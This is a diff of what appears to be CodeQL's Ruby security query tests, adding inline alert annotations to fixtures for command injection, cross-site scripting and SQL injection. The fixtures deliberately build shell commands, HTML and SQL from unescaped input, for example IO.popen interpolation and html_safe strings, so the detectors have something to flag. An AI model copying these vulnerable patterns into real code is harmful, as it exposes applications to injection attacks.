impl/sub/other.rb:3:5:3:34 | call to popen | shell command | +| impl/unsafeShell.rb:3:14:3:28 | "cat #{...}" | impl/unsafeShell.rb:2:12:2:17 | target | impl/unsafeShell.rb:3:19:3:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:2:12:2:17 | target | library input | impl/unsafeShell.rb:3:5:3:34 | call to popen | shell command | +| impl/unsafeShell.rb:7:14:7:33 | call to sprintf | impl/unsafeShell.rb:6:12:6:12 | x | impl/unsafeShell.rb:7:32:7:32 | x | This formatted string which depends on $@ is later used in a $@. | impl/unsafeShell.rb:6:12:6:12 | x | library input | impl/unsafeShell.rb:8:5:8:25 | call to popen | shell command | +| impl/unsafeShell.rb:20:14:20:42 | "which #{...}" | impl/unsafeShell.rb:15:47:15:64 | innocent_file_path | impl/unsafeShell.rb:20:21:20:41 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:15:47:15:64 | innocent_file_path | library input | impl/unsafeShell.rb:20:5:20:48 | call to popen | shell command | +| impl/unsafeShell.rb:26:14:26:31 | "cat #{...}" | impl/unsafeShell.rb:23:15:23:23 | file_path | impl/unsafeShell.rb:26:19:26:30 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:23:15:23:23 | file_path | library input | impl/unsafeShell.rb:26:5:26:37 | call to popen | shell command | +| impl/unsafeShell.rb:34:14:34:28 | "cat #{...}" | impl/unsafeShell.rb:33:12:33:17 | target | impl/unsafeShell.rb:34:19:34:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:33:12:33:17 | target | library input | impl/unsafeShell.rb:34:5:34:34 | call to popen | shell command | +| impl/unsafeShell.rb:38:14:38:23 | "cat #{...}" | impl/unsafeShell.rb:37:10:37:10 | x | impl/unsafeShell.rb:38:19:38:22 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:37:10:37:10 | x | library input | impl/unsafeShell.rb:38:5:38:29 | call to popen | shell command | +| impl/unsafeShell.rb:48:14:48:28 | "cat #{...}" | impl/unsafeShell.rb:47:16:47:21 | target | impl/unsafeShell.rb:48:19:48:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:47:16:47:21 | target | library input | impl/unsafeShell.rb:48:5:48:34 | call to popen | shell command | +| impl/unsafeShell.rb:52:14:52:24 | call to join | impl/unsafeShell.rb:51:17:51:17 | x | impl/unsafeShell.rb:52:14:52:14 | x | This array which depends on $@ is later used in a $@. | impl/unsafeShell.rb:51:17:51:17 | x | library input | impl/unsafeShell.rb:52:5:52:30 | call to popen | shell command | +| impl/unsafeShell.rb:54:14:54:40 | call to join | impl/unsafeShell.rb:51:17:51:17 | x | impl/unsafeShell.rb:54:29:54:29 | x | This array which depends on $@ is later used in a $@. | impl/unsafeShell.rb:51:17:51:17 | x | library input | impl/unsafeShell.rb:54:5:54:46 | call to popen | shell command | +| impl/unsafeShell.rb:58:14:58:23 | ... + ... | impl/unsafeShell.rb:57:21:57:21 | x | impl/unsafeShell.rb:58:23:58:23 | x | This string concatenation which depends on $@ is later used in a $@. | impl/unsafeShell.rb:57:21:57:21 | x | library input | impl/unsafeShell.rb:58:5:58:29 | call to popen | shell command | +| impl/unsafeShell.rb:64:14:64:26 | call to join | impl/unsafeShell.rb:61:20:61:20 | x | impl/unsafeShell.rb:64:14:64:16 | arr | This array which depends on $@ is later used in a $@. | impl/unsafeShell.rb:61:20:61:20 | x | library input | impl/unsafeShell.rb:64:5:64:32 | call to popen | shell command | +| impl/unsafeShell.rb:68:14:68:26 | call to join | impl/unsafeShell.rb:61:20:61:20 | x | impl/unsafeShell.rb:68:14:68:16 | arr | This array which depends on $@ is later used in a $@. | impl/unsafeShell.rb:61:20:61:20 | x | library input | impl/unsafeShell.rb:68:5:68:32 | call to popen | shell command | edges | impl/sub/notImported.rb:2:12:2:17 | target | impl/sub/notImported.rb:3:19:3:27 | #{...} | provenance | | | impl/sub/other2.rb:2:12:2:17 | target | impl/sub/other2.rb:3:19:3:27 | #{...} | provenance | | @@ -48,19 +64,3 @@ nodes | impl/unsafeShell.rb:64:14:64:16 | arr | semmle.label | arr | | impl/unsafeShell.rb:68:14:68:16 | arr | semmle.label | arr | subpaths -#select -| impl/sub/notImported.rb:3:14:3:28 | "cat #{...}" | impl/sub/notImported.rb:2:12:2:17 | target | impl/sub/notImported.rb:3:19:3:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/sub/notImported.rb:2:12:2:17 | target | library input | impl/sub/notImported.rb:3:5:3:34 | call to popen | shell command | -| impl/sub/other2.rb:3:14:3:28 | "cat #{...}" | impl/sub/other2.rb:2:12:2:17 | target | impl/sub/other2.rb:3:19:3:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/sub/other2.rb:2:12:2:17 | target | library input | impl/sub/other2.rb:3:5:3:34 | call to popen | shell command | -| impl/sub/other.rb:3:14:3:28 | "cat #{...}" | impl/sub/other.rb:2:12:2:17 | target | impl/sub/other.rb:3:19:3:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/sub/other.rb:2:12:2:17 | target | library input | impl/sub/other.rb:3:5:3:34 | call to popen | shell command | -| impl/unsafeShell.rb:3:14:3:28 | "cat #{...}" | impl/unsafeShell.rb:2:12:2:17 | target | impl/unsafeShell.rb:3:19:3:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:2:12:2:17 | target | library input | impl/unsafeShell.rb:3:5:3:34 | call to popen | shell command | -| impl/unsafeShell.rb:7:14:7:33 | call to sprintf | impl/unsafeShell.rb:6:12:6:12 | x | impl/unsafeShell.rb:7:32:7:32 | x | This formatted string which depends on $@ is later used in a $@. | impl/unsafeShell.rb:6:12:6:12 | x | library input | impl/unsafeShell.rb:8:5:8:25 | call to popen | shell command | -| impl/unsafeShell.rb:20:14:20:42 | "which #{...}" | impl/unsafeShell.rb:15:47:15:64 | innocent_file_path | impl/unsafeShell.rb:20:21:20:41 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:15:47:15:64 | innocent_file_path | library input | impl/unsafeShell.rb:20:5:20:48 | call to popen | shell command | -| impl/unsafeShell.rb:26:14:26:31 | "cat #{...}" | impl/unsafeShell.rb:23:15:23:23 | file_path | impl/unsafeShell.rb:26:19:26:30 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:23:15:23:23 | file_path | library input | impl/unsafeShell.rb:26:5:26:37 | call to popen | shell command | -| impl/unsafeShell.rb:34:14:34:28 | "cat #{...}" | impl/unsafeShell.rb:33:12:33:17 | target | impl/unsafeShell.rb:34:19:34:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:33:12:33:17 | target | library input | impl/unsafeShell.rb:34:5:34:34 | call to popen | shell command | -| impl/unsafeShell.rb:38:14:38:23 | "cat #{...}" | impl/unsafeShell.rb:37:10:37:10 | x | impl/unsafeShell.rb:38:19:38:22 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:37:10:37:10 | x | library input | impl/unsafeShell.rb:38:5:38:29 | call to popen | shell command | -| impl/unsafeShell.rb:48:14:48:28 | "cat #{...}" | impl/unsafeShell.rb:47:16:47:21 | target | impl/unsafeShell.rb:48:19:48:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/unsafeShell.rb:47:16:47:21 | target | library input | impl/unsafeShell.rb:48:5:48:34 | call to popen | shell command | -| impl/unsafeShell.rb:52:14:52:24 | call to join | impl/unsafeShell.rb:51:17:51:17 | x | impl/unsafeShell.rb:52:14:52:14 | x | This array which depends on $@ is later used in a $@. | impl/unsafeShell.rb:51:17:51:17 | x | library input | impl/unsafeShell.rb:52:5:52:30 | call to popen | shell command | -| impl/unsafeShell.rb:54:14:54:40 | call to join | impl/unsafeShell.rb:51:17:51:17 | x | impl/unsafeShell.rb:54:29:54:29 | x | This array which depends on $@ is later used in a $@. | impl/unsafeShell.rb:51:17:51:17 | x | library input | impl/unsafeShell.rb:54:5:54:46 | call to popen | shell command | -| impl/unsafeShell.rb:58:14:58:23 | ... + ... | impl/unsafeShell.rb:57:21:57:21 | x | impl/unsafeShell.rb:58:23:58:23 | x | This string concatenation which depends on $@ is later used in a $@. | impl/unsafeShell.rb:57:21:57:21 | x | library input | impl/unsafeShell.rb:58:5:58:29 | call to popen | shell command | -| impl/unsafeShell.rb:64:14:64:26 | call to join | impl/unsafeShell.rb:61:20:61:20 | x | impl/unsafeShell.rb:64:14:64:16 | arr | This array which depends on $@ is later used in a $@. | impl/unsafeShell.rb:61:20:61:20 | x | library input | impl/unsafeShell.rb:64:5:64:32 | call to popen | shell command | -| impl/unsafeShell.rb:68:14:68:26 | call to join | impl/unsafeShell.rb:61:20:61:20 | x | impl/unsafeShell.rb:68:14:68:16 | arr | This array which depends on $@ is later used in a $@. | impl/unsafeShell.rb:61:20:61:20 | x | library input | impl/unsafeShell.rb:68:5:68:32 | call to popen | shell command | diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref index 99292da7663..da9659dee16 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref @@ -1 +1,2 @@ -queries/security/cwe-078/UnsafeShellCommandConstruction.ql \ No newline at end of file +query: queries/security/cwe-078/UnsafeShellCommandConstruction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb index 0a385f5f6bc..0c7c1022da2 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb @@ -1,6 +1,6 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK - everything assumed to be imported... + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK - everything assumed to be imported... # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb index 22eaa13bcc0..87846abd662 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb @@ -1,6 +1,6 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb index 007dae343ff..7ad8ee69d3d 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb @@ -1,5 +1,5 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb index 487ca06ebd6..160e8c3f39c 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb @@ -1,10 +1,10 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK # $ Alert end - def foo2(x) - format = sprintf("cat %s", x) # NOT OK + def foo2(x) # $ Source + format = sprintf("cat %s", x) # NOT OK # $ Alert IO.popen(format, "w") end @@ -12,30 +12,30 @@ class Foobar File.read(path) # OK end - def my_exec(cmd, command, myCmd, myCommand, innocent_file_path) + def my_exec(cmd, command, myCmd, myCommand, innocent_file_path) # $ Source IO.popen("which #{cmd}", "w") # OK - the parameter is named `cmd`, so it's meant to be a command IO.popen("which #{command}", "w") # OK - the parameter is named `command`, so it's meant to be a command IO.popen("which #{myCmd}", "w") # OK - the parameter is named `myCmd`, so it's meant to be a command IO.popen("which #{myCommand}", "w") # OK - the parameter is named `myCommand`, so it's meant to be a command - IO.popen("which #{innocent_file_path}", "w") # NOT OK - the parameter is named `innocent_file_path`, so it's not meant to be a command + IO.popen("which #{innocent_file_path}", "w") # NOT OK - the parameter is named `innocent_file_path`, so it's not meant to be a command # $ Alert end - def escaped(file_path) + def escaped(file_path) # $ Source IO.popen("cat #{file_path.shellescape}", "w") # OK - the parameter is escaped - IO.popen("cat #{file_path}", "w") # NOT OK - the parameter is not escaped + IO.popen("cat #{file_path}", "w") # NOT OK - the parameter is not escaped # $ Alert end end require File.join(File.dirname(__FILE__), 'sub', 'other') class Foobar2 - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK # $ Alert end - def id(x) - IO.popen("cat #{x}", "w") # NOT OK - the parameter is not a constant. + def id(x) # $ Source + IO.popen("cat #{x}", "w") # NOT OK - the parameter is not a constant. # $ Alert return x end @@ -44,27 +44,27 @@ class Foobar2 end # class methods - def self.foo(target) - IO.popen("cat #{target}", "w") # NOT OK + def self.foo(target) # $ Source + IO.popen("cat #{target}", "w") # NOT OK # $ Alert end - def arrayJoin(x) - IO.popen(x.join(' '), "w") # NOT OK + def arrayJoin(x) # $ Source + IO.popen(x.join(' '), "w") # NOT OK # $ Alert - IO.popen(["foo", "bar", x].join(' '), "w") # NOT OK + IO.popen(["foo", "bar", x].join(' '), "w") # NOT OK # $ Alert end - def string_concat(x) - IO.popen("cat " + x, "w") # NOT OK + def string_concat(x) # $ Source + IO.popen("cat " + x, "w") # NOT OK # $ Alert end - def array_taint (x, y) + def array_taint (x, y) # $ Source arr = ["cat"] arr.push(x) - IO.popen(arr.join(' '), "w") # NOT OK + IO.popen(arr.join(' '), "w") # NOT OK # $ Alert arr2 = ["cat"] arr2 << y - IO.popen(arr.join(' '), "w") # NOT OK + IO.popen(arr.join(' '), "w") # NOT OK # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref b/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref index af140959abb..9dd84b48007 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref @@ -1 +1 @@ -queries/security/cwe-079/ReflectedXSS.ql +query: queries/security/cwe-079/ReflectedXSS.ql diff --git a/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref b/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref index 78de28cb282..545a771648f 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref @@ -1 +1 @@ -queries/security/cwe-079/StoredXSS.ql \ No newline at end of file +query: queries/security/cwe-079/StoredXSS.ql diff --git a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.expected b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.expected index 599f29e806c..3b304c94586 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.expected +++ b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.expected @@ -1,3 +1,8 @@ +#select +| lib/unsafeHtml.rb:3:10:3:16 | #{...} | lib/unsafeHtml.rb:2:31:2:34 | name | lib/unsafeHtml.rb:3:10:3:16 | #{...} | This string interpolation which depends on $@ might later allow $@. | lib/unsafeHtml.rb:2:31:2:34 | name | library input | lib/unsafeHtml.rb:3:5:3:22 | "

#{...}

" | cross-site scripting | +| lib/unsafeHtml.rb:11:13:11:19 | #{...} | lib/unsafeHtml.rb:9:27:9:30 | name | lib/unsafeHtml.rb:11:13:11:19 | #{...} | This string interpolation which depends on $@ might later allow $@. | lib/unsafeHtml.rb:9:27:9:30 | name | library input | lib/unsafeHtml.rb:13:5:13:5 | h | cross-site scripting | +| lib/unsafeHtml.rb:17:28:17:31 | name | lib/unsafeHtml.rb:16:19:16:22 | name | lib/unsafeHtml.rb:17:28:17:31 | name | This string format which depends on $@ might later allow $@. | lib/unsafeHtml.rb:16:19:16:22 | name | library input | lib/unsafeHtml.rb:17:5:17:32 | call to sprintf | cross-site scripting | +| lib/unsafeHtml.rb:24:10:24:16 | #{...} | lib/unsafeHtml.rb:23:32:23:35 | name | lib/unsafeHtml.rb:24:10:24:16 | #{...} | This string interpolation which depends on $@ might later allow $@. | lib/unsafeHtml.rb:23:32:23:35 | name | library input | lib/unsafeHtml.rb:24:5:24:22 | "

#{...}

" | cross-site scripting | edges | lib/unsafeHtml.rb:2:31:2:34 | name | lib/unsafeHtml.rb:3:10:3:16 | #{...} | provenance | | | lib/unsafeHtml.rb:9:27:9:30 | name | lib/unsafeHtml.rb:11:13:11:19 | #{...} | provenance | | @@ -13,8 +18,3 @@ nodes | lib/unsafeHtml.rb:23:32:23:35 | name | semmle.label | name | | lib/unsafeHtml.rb:24:10:24:16 | #{...} | semmle.label | #{...} | subpaths -#select -| lib/unsafeHtml.rb:3:10:3:16 | #{...} | lib/unsafeHtml.rb:2:31:2:34 | name | lib/unsafeHtml.rb:3:10:3:16 | #{...} | This string interpolation which depends on $@ might later allow $@. | lib/unsafeHtml.rb:2:31:2:34 | name | library input | lib/unsafeHtml.rb:3:5:3:22 | "

#{...}

" | cross-site scripting | -| lib/unsafeHtml.rb:11:13:11:19 | #{...} | lib/unsafeHtml.rb:9:27:9:30 | name | lib/unsafeHtml.rb:11:13:11:19 | #{...} | This string interpolation which depends on $@ might later allow $@. | lib/unsafeHtml.rb:9:27:9:30 | name | library input | lib/unsafeHtml.rb:13:5:13:5 | h | cross-site scripting | -| lib/unsafeHtml.rb:17:28:17:31 | name | lib/unsafeHtml.rb:16:19:16:22 | name | lib/unsafeHtml.rb:17:28:17:31 | name | This string format which depends on $@ might later allow $@. | lib/unsafeHtml.rb:16:19:16:22 | name | library input | lib/unsafeHtml.rb:17:5:17:32 | call to sprintf | cross-site scripting | -| lib/unsafeHtml.rb:24:10:24:16 | #{...} | lib/unsafeHtml.rb:23:32:23:35 | name | lib/unsafeHtml.rb:24:10:24:16 | #{...} | This string interpolation which depends on $@ might later allow $@. | lib/unsafeHtml.rb:23:32:23:35 | name | library input | lib/unsafeHtml.rb:24:5:24:22 | "

#{...}

" | cross-site scripting | diff --git a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref index ae814bcc35c..501577ea1b9 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref @@ -1 +1,2 @@ -queries/security/cwe-079/UnsafeHtmlConstruction.ql \ No newline at end of file +query: queries/security/cwe-079/UnsafeHtmlConstruction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb b/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb index 3f92d5938b1..b2f36f37576 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb +++ b/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb @@ -1,27 +1,27 @@ class Foobar - def create_user_description(name) - "

#{name}

".html_safe # NOT OK - the parameter is not escaped + def create_user_description(name) # $ Source[rb/html-constructed-from-input] + "

#{name}

".html_safe # NOT OK - the parameter is not escaped # $ Alert[rb/html-constructed-from-input] # escape "

#{ERB::Util.html_escape(name)}

".html_safe # OK - the parameter is escaped end - def string_like_literal name + def string_like_literal name # $ Source[rb/html-constructed-from-input] h = <<-HTML -

#{name}

+

#{name}

# $ Alert[rb/html-constructed-from-input] HTML h.html_safe # NOT OK - the parameter is not escaped end - def sprintf_use name - sprintf("

%s

", name).html_safe # NOT OK - the parameter is not escaped + def sprintf_use name # $ Source[rb/html-constructed-from-input] + sprintf("

%s

", name).html_safe # NOT OK - the parameter is not escaped # $ Alert[rb/html-constructed-from-input] # escape sprintf("

%s

", ERB::Util.html_escape(name)).html_safe # OK - the parameter is escaped end - def create_user_description2(name) - "

#{name}

".html_safe # NOT OK - the value is not necessarily HTML safe + def create_user_description2(name) # $ Source[rb/html-constructed-from-input] + "

#{name}

".html_safe # NOT OK - the value is not necessarily HTML safe # $ Alert[rb/html-constructed-from-input] if name.html_safe? "

#{name}

".html_safe # OK - value is marked as being HTML safe diff --git a/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb index 3a782e529d5..e811b51e8ae 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb @@ -7,13 +7,13 @@ class User < ApplicationRecord def self.authenticate(name, pass) # BAD: possible untrusted input interpolated into SQL fragment - find(:first, :conditions => "name='#{name}' and pass='#{pass}'") + find(:first, :conditions => "name='#{name}' and pass='#{pass}'") # $ Alert # BAD: interpolation in array argument - find(:first, conditions: ["name='#{name}' and pass='#{pass}'"]) + find(:first, conditions: ["name='#{name}' and pass='#{pass}'"]) # $ Alert # GOOD: using SQL parameters find(:first, conditions: ["name = ? and pass = ?", name, pass]) # BAD: interpolation with flow - conds = "name=#{name}" + conds = "name=#{name}" # $ Alert find(:first, conditions: conds) end @@ -27,7 +27,7 @@ class Admin < User def self.delete_by(condition = nil) # BAD: `delete_by overrides an ActiveRecord method, but doesn't perform # any validation before passing its arguments on to another ActiveRecord method - destroy_by(condition) + destroy_by(condition) # $ Alert end end @@ -39,64 +39,64 @@ class FooController < ActionController::Base def some_request_handler # BAD: executes `SELECT AVG(#{params[:column]}) FROM "users"` # where `params[:column]` is unsanitized - User.calculate(:average, params[:column]) + User.calculate(:average, params[:column]) # $ Alert # BAD: executes `SELECT MAX(#{params[:column]}) FROM "users"` # where `params[:column]` is unsanitized - User.maximum(params[:column]) + User.maximum(params[:column]) # $ Alert # BAD: executes `DELETE FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized - User.delete_by("id = '#{params[:id]}'") + User.delete_by("id = '#{params[:id]}'") # $ Alert # BAD: executes `DELETE FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized # (in Rails < 4.0) - User.delete_all("id = '#{params[:id]}'") + User.delete_all("id = '#{params[:id]}'") # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized - User.destroy_by(["id = '#{params[:id]}'"]) + User.destroy_by(["id = '#{params[:id]}'"]) # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')` # where `params[:id]` is unsanitized # (in Rails < 4.0) - User.destroy_all(["id = '#{params[:id]}'"]) + User.destroy_all(["id = '#{params[:id]}'"]) # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE id BETWEEN '#{params[:min_id]}' AND 100000` # where `params[:min_id]` is unsanitized - User.where(<<-SQL, MAX_USER_ID) - id BETWEEN '#{params[:min_id]}' AND ? + User.where(<<-SQL, MAX_USER_ID) # $ Alert + id BETWEEN '#{params[:min_id]}' AND ? # $ Source SQL # BAD: chained method case # executes `SELECT "users".* FROM "users" WHERE (NOT (user_id = 'params[:id]'))` # where `params[:id]` is unsanitized - User.where.not("user.id = '#{params[:id]}'") + User.where.not("user.id = '#{params[:id]}'") # $ Alert - User.authenticate(params[:name], params[:pass]) + User.authenticate(params[:name], params[:pass]) # $ Source # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')` LIMIT 1 # where `params[:id]` is unsanitized - User.find_or_initialize_by("id = '#{params[:id]}'") + User.find_or_initialize_by("id = '#{params[:id]}'") # $ Alert user = User.first # BAD: executes `SELECT "users".* FROM "users" WHERE id = 1 LIMIT 1 #{params[:lock]}` # where `params[:lock]` is unsanitized - user.reload(lock: params[:lock]) + user.reload(lock: params[:lock]) # $ Alert # BAD: executes `SELECT #{params[:column]} FROM "users"` # where `params[:column]` is unsanitized - User.select(params[:column]) - User.reselect(params[:column]) + User.select(params[:column]) # $ Alert + User.reselect(params[:column]) # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE (#{params[:condition]})` # where `params[:condition]` is unsanitized - User.rewhere(params[:condition]) + User.rewhere(params[:condition]) # $ Alert # BAD: executes `UPDATE "users" SET #{params[:fields]}` # where `params[:fields]` is unsanitized - User.update_all(params[:fields]) + User.update_all(params[:fields]) # $ Alert # GOOD -- `update_all` sanitizes its bind variable arguments User.find_by(name: params[:user_name]) @@ -104,41 +104,41 @@ class FooController < ActionController::Base # BAD -- `update_all` does not sanitize its query (array arg) User.find_by(name: params[:user_name]) - .update_all(["name = '#{params[:new_user_name]}'"]) + .update_all(["name = '#{params[:new_user_name]}'"]) # $ Alert # BAD -- `update_all` does not sanitize its query (string arg) User.find_by(name: params[:user_name]) - .update_all("name = '#{params[:new_user_name]}'") + .update_all("name = '#{params[:new_user_name]}'") # $ Alert - User.reorder(params[:direction]) + User.reorder(params[:direction]) # $ Alert - User.select('a','b', params[:column]) - User.reselect('a','b', params[:column]) - User.order('a ASC', "b #{params[:direction]}") - User.reorder('a ASC', "b #{params[:direction]}") - User.group('a', params[:column]) - User.pluck('a', params[:column]) - User.joins(:a, params[:column]) + User.select('a','b', params[:column]) # $ Alert + User.reselect('a','b', params[:column]) # $ Alert + User.order('a ASC', "b #{params[:direction]}") # $ Alert + User.reorder('a ASC', "b #{params[:direction]}") # $ Alert + User.group('a', params[:column]) # $ Alert + User.pluck('a', params[:column]) # $ Alert + User.joins(:a, params[:column]) # $ Alert - User.count_by_sql(params[:custom_sql_query]) + User.count_by_sql(params[:custom_sql_query]) # $ Alert # BAD: executes `SELECT users.* FROM #{params[:tab]}` # where `params[:tab]` is unsanitized - User.all.from(params[:tab]) + User.all.from(params[:tab]) # $ Alert # BAD: executes `SELECT "users".* FROM (SELECT "users".* FROM "users") #{params[:sq]} - User.all.from(User.all, params[:sq]) + User.all.from(User.all, params[:sq]) # $ Alert end end class BarController < ApplicationController def some_other_request_handler - ps = params + ps = params # $ Source uid = ps[:id] uidEq = "= '#{uid}'" # BAD: executes `DELETE FROM "users" WHERE (id = #{uid})` # where `uid` is unsantized - User.delete_by("id " + uidEq) + User.delete_by("id " + uidEq) # $ Alert end def safe_paths @@ -171,7 +171,7 @@ end class BazController < BarController def yet_another_handler - Admin.delete_by(params[:admin_condition]) + Admin.delete_by(params[:admin_condition]) # $ Alert Source end end @@ -185,7 +185,7 @@ class AnnotatedController < ActionController::Base def unsafe_action name = params[:user_name] # BAD: user input passed into annotations are vulnerable to SQLi - users = User.annotate("this is an unsafe annotation:#{params[:comment]}").find_by(user_name: name) + users = User.annotate("this is an unsafe annotation:#{params[:comment]}").find_by(user_name: name) # $ Alert end end @@ -198,27 +198,27 @@ class RegressionController < ActionController::Base def index my_params = permitted_params query = "SELECT * FROM users WHERE id = #{my_params[:user_id]}" - result = Regression.find_by_sql(query) + result = Regression.find_by_sql(query) # $ Alert end def permitted_params - params.require(:my_key).permit(:id, :user_id, :my_type) + params.require(:my_key).permit(:id, :user_id, :my_type) # $ Source end def show - ActiveRecord::Base.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") - Regression.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") + ActiveRecord::Base.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") # $ Alert + Regression.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") # $ Alert end end class User - scope :with_role, ->(role) { where("role = #{role}") } + scope :with_role, ->(role) { where("role = #{role}") } # $ Alert end class UsersController < ActionController::Base def index # BAD: user input passed to scope which uses it without sanitization. - @users = User.with_role(params[:role]) + @users = User.with_role(params[:role]) # $ Source end end diff --git a/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb index 1cd6782b241..707ab181e45 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb @@ -1,9 +1,9 @@ class PotatoController < ActionController::Base def unsafe_action - name = params[:user_name] + name = params[:user_name] # $ Source # BAD: SQL statement constructed from user input - sql = Arel.sql("SELECT * FROM users WHERE name = #{name}") - sql = Arel::Nodes::SqlLiteral.new("SELECT * FROM users WHERE name = #{name}") + sql = Arel.sql("SELECT * FROM users WHERE name = #{name}") # $ Alert + sql = 